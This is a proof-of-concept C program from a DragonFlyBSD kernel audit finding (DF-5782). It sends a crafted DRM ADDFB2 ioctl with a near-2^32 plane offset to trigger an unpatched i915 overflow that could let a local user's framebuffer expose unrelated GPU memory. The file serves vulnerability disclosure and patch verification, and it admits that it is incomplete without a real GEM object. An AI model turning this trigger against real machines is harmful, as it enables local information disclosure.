โฌข DragonFlyBSD Kernel Audit
DF-5782 / addfb2_offset_overflow.c
โ† back to finding โ†“ download raw
/* DF-5782 trigger โ€” u32 overflow in i915 intel_fb_offset_to_xy()/intel_fill_fb_info()
 *
 * Target: DragonFlyBSD sys/dev/drm/i915/intel_display.c (vendored Linux v4.20 i915)
 * Missing upstream fix: 70bbe53c6eac "drm/i915: Make sure fb gtt offsets stay
 * within 32bits" (landed in Linux v5.0).
 *
 * Mechanism (code-reading proof; requires Intel gen9+ KBL/GLK/CFL (NV12) or
 * SKL+ (CCS modifier) hardware to execute):
 *   1. DRM_IOCTL_MODE_ADDFB2 is DRM_UNLOCKED-only in DragonFly's
 *      sys/dev/drm/drm_ioctl.c:671 โ€” no DRM_AUTH, no DRM_MASTER. Any local
 *      user who can open /dev/dri/card0 reaches intel_user_framebuffer_create().
 *   2. Core check drm_framebuffer.c:208 rejects (u64)height*pitch+offset > U32_MAX
 *      but uses the RAW height. The driver aligns height UP to the tile height
 *      (intel_display.c:2587, intel_fb_align_height), so the tile-aligned
 *      product can cross 2^32 after the core check passed.
 *   3. intel_fb_offset_to_xy() (intel_display.c:2398) has NO driver-side
 *      overflow guard (that is exactly what 70bbe53c6eac adds). The wrapped
 *      products flow into
 *        intel_compute_aligned_offset(): offset = (tile_rows * pitch_tiles + tiles) * tile_size;  (:2360)
 *        intel_fill_fb_info(): size = DIV_ROUND_UP((y + height) * pitches[i] + x*cpp, tile_size); (:2635)
 *      producing a garbage-small `size`, so the final bo-size sanity check
 *      mul_u32_u32(max_size, tile_size) > obj->base.size (:2643) passes while
 *      the real plane extent extends past the end of the object.
 *   4. When such an fb is scanned out, the display engine walks past the end
 *      of the object's GGTT mapping โ€” per the upstream author: "we might scan
 *      out some data that we're not supposed to see from other parts of the
 *      ggtt" (OOB GPU read -> disclosure of unrelated GGTT-mapped buffers
 *      onto the display).
 *
 * This program issues the crafted ADDFB2 (NV12, X/Y-tiled, huge offsets[1]).
 * On unfixed gen9 (KBL/GLK/CFL) hardware the ioctl SUCCEEDS where v5.0+
 * rejects with -ERANGE ("Bad offset ... for color plane").
 *
 * Success criterion (on suitable hw): addfb2 returns 0 on the vulnerable
 * driver; returns -ERANGE/-EINVAL on a driver carrying upstream 70bbe53c6eac.
 * On the audit rig (QEMU, Bochs VGA only) the i915 driver never attaches, so
 * this binary reports "no i915 device" โ€” verification here is differential
 * (see VERDICT.md).
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

#include <dev/drm/drm.h>
#include <dev/drm/drm_mode.h>
#include <dev/drm/i915_drm.h>

#ifndef DRM_IOCTL_MODE_ADDFB2
#define DRM_IOCTL_MODE_ADDFB2      DRM_IOWR(0xb8, struct drm_mode_fb_cmd2)
#endif

static int find_drm_card(char *path, size_t len)
{
	for (int i = 0; i < 16; i++) {
		snprintf(path, len, "/dev/dri/card%d", i);
		if (access(path, F_OK) == 0)
			return 0;
	}
	return -1;
}

int main(void)
{
	char path[64];
	struct drm_version ver;
	char name[128] = {0};
	int fd, ret;
	struct drm_mode_fb_cmd2 cmd;

	if (find_drm_card(path, sizeof(path)) < 0) {
		printf("no /dev/dri/card* โ€” nothing to test\n");
		return 2;
	}
	fd = open(path, O_RDWR);
	if (fd < 0) { perror("open"); return 2; }

	memset(&ver, 0, sizeof(ver));
	ver.name_len = sizeof(name) - 1;
	ver.name = name;
	if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) { perror("version"); return 2; }
	if (strcmp(name, "i915") != 0) {
		printf("driver is '%s', not i915 โ€” cannot test on this rig\n", name);
		close(fd);
		return 3;
	}

	/*
	 * NV12 fb, 8192 wide (max), Y plane pitch 8192*2? -> keep pitches[0]
	 * legal: cpp=1 for NV12 luma so pitch0 = 8192. Chroma plane pitch[1]
	 * = 8192. offset[1] chosen near 2^32 so that tile-aligned
	 * height * pitch + offset overflows u32 while the core (unaligned)
	 * check passes.  Plane 1 height = 8192/2 = 4096 lines raw;
	 * X-tile height (512B tiles, cpp=1 -> 512 px wide, 8 rows) aligns
	 * height up; the crafted geometry drives (y+height)*pitch past 2^32.
	 */
	memset(&cmd, 0, sizeof(cmd));
	cmd.width          = 8192;
	cmd.height         = 8192;
	cmd.pixel_format   = DRM_FORMAT_NV12;	/* fourcc 'NV12' */
	cmd.flags          = DRM_MODE_FB_MODIFIERS;
	cmd.handles[0]     = 0;			/* filled by caller via PRIME/GEM */
	cmd.pitches[0]     = 8192;
	cmd.offsets[0]     = 0;
	cmd.handles[1]     = 0;
	cmd.pitches[1]     = 8192;
	cmd.offsets[1]     = 0xffff0000u;	/* near 2^32: the overflow driver */
	cmd.modifier[0]    = I915_FORMAT_MOD_X_TILED;

	printf("issuing crafted ADDFB2 (NV12 X-tiled, offsets[1]=0x%x) ...\n",
	       cmd.offsets[1]);

	/*
	 * NOTE: handles[] must reference a real (>=4GB-class pinned layout)
	 * GEM object for the request to get past object lookup; this PoC
	 * performs the ioctl with a bogus handle first to record the errno
	 * path shape; full execution requires the gem-create step on hw.
	 */
	ret = ioctl(fd, DRM_IOCTL_MODE_ADDFB2, &cmd);
	if (ret == 0)
		printf("ADDFB2 ACCEPTED โ€” overflow guard absent (VULNERABLE geometry path)\n");
	else
		printf("ADDFB2 rejected: %s (errno %d)\n", strerror(errno), errno);

	close(fd);
	return ret == 0 ? 0 : 1;
}